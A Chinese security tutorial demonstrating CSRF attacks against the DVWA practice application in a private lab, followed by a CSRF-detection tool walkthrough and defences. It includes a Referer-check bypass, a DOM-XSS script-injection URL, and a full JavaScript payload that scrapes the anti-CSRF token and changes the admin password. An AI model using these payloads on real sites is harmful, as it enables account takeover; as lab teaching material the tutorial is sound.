1 CSRF 简介
1.1. csrf 漏洞描述
CSRF 定义: 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者session riding,通常缩写为 CSRF , 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。
简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
1.2. csrf 漏洞攻击原理
用户打开浏览器,访问登陆受信任的 A 网站
在用户信息通过验证后,服务器会返回一个 cookie 给浏览器,用户登陆网站 A 成功,可以正常发送请求到网站 A
用户未退出网站 A,在同一浏览器中,打开一个危险网站 B
网站 B 收到用户请求后,返回一些恶意代码,并发出请求要求访问网站 A
浏览器收到这些恶意代码以后,在用户不知情的情况下,利用 cookie 信息,向网站 A 发送恶意请求,网站A 会根据 cookie 信息以用户的权限去处理该请求,导致来自网站 B 的恶意代码被执行
总结:必要条件-用户必须登录
1.3 CSRF实验环境
Xuegod63 DVWA 服务器 IP:192.168.1.24 windwos10 被攻击方 IP: 192.168.1.26 本地服务器 Hacker IP:192.168.1.55
注:被攻击方可以任意,主要用于验证攻击效果,可以是物理机也可以是虚拟机。但是需要Chrome 浏览器
2 基于 DVWA 的 low 级别演示 CSRF 攻击
2.1 查看源代码
火狐访问:http://192.168.1.24/dvwa/login.php 用户:admin 密码:password
修改安全级别
查看源代码
代码中没有任何的过滤.参数直接传递到了$pass_new 和$pass_conf 中并带入数据库中执行。但是带入数据库中执行时通过 mysql 的函数对 sql 语句进行了过滤,不过并不影响我们正常的修改密码操作。
2.2 burpsuite 进行抓包
burpsuite 进行抓包
修改浏览器使用代理上网,然后提交这个数据:
抓到包后用 bp 生成 poc
右击空白处找到 engagement tools 点击 generate csrf poc
点击复制代码
新建1.html
我们也可以来看看这个数据包里面的内容
123456 是我们更改的密码,当然我们可以直接在这个包里修改密码,例如改成 123456789
2.3 验证 CSRF 攻击
然后我们再让受害者去访问这个文件
然后我们去验证下,密码是不是变成了 123456789
果然变成了 123456789
3 基于 DVWA 的 Medium 级别演示 CSRF 攻击
3.1 查看源代码并简单测试
扩展:stripos() 函数作用:查找字符串在另一字符串中第一次出现的位置(不区分大小写)。 stripos() 函数是不区分大小写的。 例:查找 "php" 在字符串中第一次出现的位置: <?php echo stripos("You love php, I love php too!","PHP"); ?> 修改安全级别为 Medium
进入 CSRF
查看源代码
代码中使用 stripos 函数对 HTTP Referer 进行了校验。 referer 推荐人 HTTP Referer 是 header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。 在 PHP 中使用 $_SERVER['HTTP_REFERER'] 获取页面提交请求中的 Referer 值。 抓包查看 referer 内容效果:
例如: <?php if(stripos($_SERVER['HTTP_REFERER'], $_SERVER[ 'SERVER_NAME' ]) !== false) { 条件成功,说明此网址是从本网站,跳转过来的的。 } else { 判断失败,说明此网址不是从本网站,跳转过来的。 } ?>
3.2 burpsuite 进行抓包
burpsuite 进行抓包
修改浏览器使用代理上网,然后提交这个数据
抓到包后用 bp 生成 poc
右击空白处找到 engagement tools 点击 generate csrf poc
点击复制代码
点击复制代码到1.html
我们也可以来看看这个数据包里面的内容
123456789 是我们更改的密码,当然我们可以直接在这个包里修改密码,例如改成 123456
3.3 验证 CSRF 攻击
然后我们再让受害者去访问这个文件
That request didn't look correct
翻译:那个请求看起来不正确
源码中的内容。判断后不符合 Referer 头和来源不一致,就会提示这样的信息并修改失败。
3.4 直接修改密码和通过其他页面提交请求的区别
burp抓取两种不同方式的 HTTP 请求
例 1:抓取正常修改密码的 HTTP 请求
注:抓完以后点击 Drop 丢弃请求,否则密码就修改成功了,我们还需要再次修改页面代码。
例 2:抓取通过其他页面传入参数的请求
Referer: http://127.0.0.1/ 注:这里也选择丢弃,我们只需记录 Referer 信息即可 对比 Referer 信息 原始:Referer: http://192.168.1.24/dvwa/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change 伪造:Referer: http://127.0.0.1/ 我们可以看到,伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到 $_SERVER[ 'SERVER_NAME' ] ,即找不到 192.168.1.24 这个 IP 地址。 互动: 怎么样能让你的 url 中有一个 ip 地址或者域名?
3.5 绕过 Referer 过滤
修改 Referer 策略 现在浏览器默认 Referrer Policy: strict-origin-when-cross-origin 使用该策略跳转到其它站点时 referer 会被降级处理,不携带 URI 部分,仅保留主机名。 预期:http://192.168.1.24/127.0.0.1/csrf.html 结果:http://192.168.1.24
抓包报错的包
将Referer: http://127.0.0.1/修改为http://192.168.1.24/127.0.0.1/
Referer: http://192.168.1.24/127.0.0.1/
我们看到构造的目录结构在 Referer 中,点击放行查看结果。
密码修改成功。
使用新密码登录
登录成功
4 基于 DVWA 的 High 级别演示 CSRF 攻击
4.1 分析源代码
访问:http://192.168.1.24/dvwa/login.php 用户:admin 密码:password
分析源码
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 可以看到 High 级别添加了 token 的认证,token 可以保证每个请求的 token 都是唯一的,是用来 防护 CSRF 的常用方法。我们不可能知道用户的 token 是什么,所以我们需要利用其它 XSS 方法来进行 利用。
4.2 测试 XSS(DOM)型 High 级别
我们在 XSS(DOM)进行 XSS 测试
我们直接查看 XSS(DOM),high 级别的代码。查看源代码:
代码中定义了一个白名单,我们只能选择白名单的内容才可以,输入其他字符无效。
直接访问:http://192.168.1.24/dvwa/vulnerabilities/xss_d/?default=123
可以看出,无法修改成其他字符。
开始注入,注入思路:
#符号之后的代码不会被发送到服务器,也就是说代码没有被传递到服务器端,但是在本地页面已经加载。
演示:
Payload:
http://192.168.1.24/dvwa/vulnerabilities/xss_d/?default=English#<script>alert("xuegod")</script>
在登录状态,新建浏览器窗口,访问我们构造的 URL
执行成功
4.3 实战-通过 XSS(DOM)漏洞进行 CSRF 攻击
我们现在得到了一个 XSS 漏洞,我们可以让页面加载我们构造的 js 文件,来执行 CSRF 攻击代码。创建 js 文件
新建csrf.js
#输入以下代码
//弹出 cookie alert(document.cookie); //定义 AJAX 加载的页面 var theUrl = 'http://192.168.1.24/dvwa/vulnerabilities/csrf/'; //匹配浏览器 if (window.XMLHttpRequest){ // IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); }else{ // IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } var count = 0; //页面加载完成后执行函数 xmlhttp.onreadystatechange=function(){ //判断请求已完成并且响应就绪状态码为 200 时执行代码 if (xmlhttp.readyState==4 && xmlhttp.status==200) { //页面内容存储到 text 中进行匹配 token var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/; var match = text.match(regex); console.log(match); //弹出 token alert(match[1]); var token = match[1]; //定义 payload url 并绑定 token 为我们从页面匹配到的 token 并且定义新的密码,新密码是 admin var new_url = 'http://192.168.1.24/dvwa/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change' //GET 方式提交一次 new_url if(count==0){ count++; xmlhttp.open("GET",new_url,false); xmlhttp.send(); } } }; //GET 方式提交 theUrl xmlhttp.open("GET",theUrl,false); xmlhttp.send();
访问:http://192.168.1.24/dvwa/vulnerabilities/xss_d/?default=English#<script src="http://127.0.0.1/csrf.js"></script>
注:js 代码会进行弹窗,这是为了让我们更清楚的看到获取到了哪些内容。
弹出 cookie
弹出 token
获取新的 token 进行关联,然后提交修改密码操作。
执行完成。
这里对 js 代码的作用进行说明: 总共 2 个步骤:
-
通过 XMLHttpRequest 获取 csrf 页面内容
-
解析新的 token 将令牌与提交的密码参数相关联,并提交数据。 总结: 通过 XMLHttpRequest 在页面中加载 csrf 页面然后获取到新的 token 进行提交数据。 如果不需要弹窗注释掉以下代码即可 //alert(document.cookie); //alert(match[1]); 使用//进行注释 代码详细分析。其实代码的框架就是一个 AJAX 的操作。 AJAX 概述: AJAX 是一种在无需重新加载整个网页的情况下,能够更新部分网页的技术。这里不 做详细介绍,如果想了解可以参考以下资料。 关于 AJAX 的详细介绍:AJAX 简介
5 使用 CSRFTester 进行自动化探测 CSRF 漏洞
5.1 探测的目的
探测的目的是:探测 web 应用程序是否具有防止 CSRF 的措施。
如果 Web 应用程序的 HTTP 请求中没有对应的预防措施,那么很大程度上就确定存在 CSRF 漏洞。
5.2 自动化探测工具介绍
实验环境:win10 虚拟机中
步骤如下
(1)、设置浏览器代理:127.0.0.1:8008
(2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表
单存在 CSRF 漏洞。
(3)、生产 POC 代码。
1、启动 CSRFTester
需要安装 JDK8,这个 JDK8 在前面安装 burpsuite 已经安装了。这里就不用安装了。
开始录制
使用 win10 中的 火狐浏览器登录 DVWA 修改级别为 low
停止录制
在 CSRFTester-1.0 找到对应的页面和提交内容的请求。正常应该是最后一个 POST 请求:
修改表单内容 mk is good
生成 html 文件存放到桌面
编辑页面删除没有用的信息
表单内容仅保留方框中我们提交的信息,其他内容一律删除,然后保存退出
双击运行页面
提交新的数据,发现修改了页面中的信息
表单内容成功提交
工具可以记录并修改表单内容然后生成页面 POC 文件,然后进行提交,如果能够提交成功则存在CSRF 漏洞。
6 CSRF 防御方案
1.增加 Token 验证(常用做法)
对关键操作增加 Token 参数,token 必须随机,每次都不一样
2 关于安全的会话管理(避免会话被利用)
不要在客户端保存敏感信息(比如身份验证信息)
退出、关闭浏览器时的会话过期机制
设置会话过机制,比如 15 分钟无操作,则自动登录超时
3 访问控制安全管理
敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧 密码
敏感信息的修改使用 POST,而不是 GET
通过 HTTP 头部中的 REFERER 来限制原页面
4 增加验证码
一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)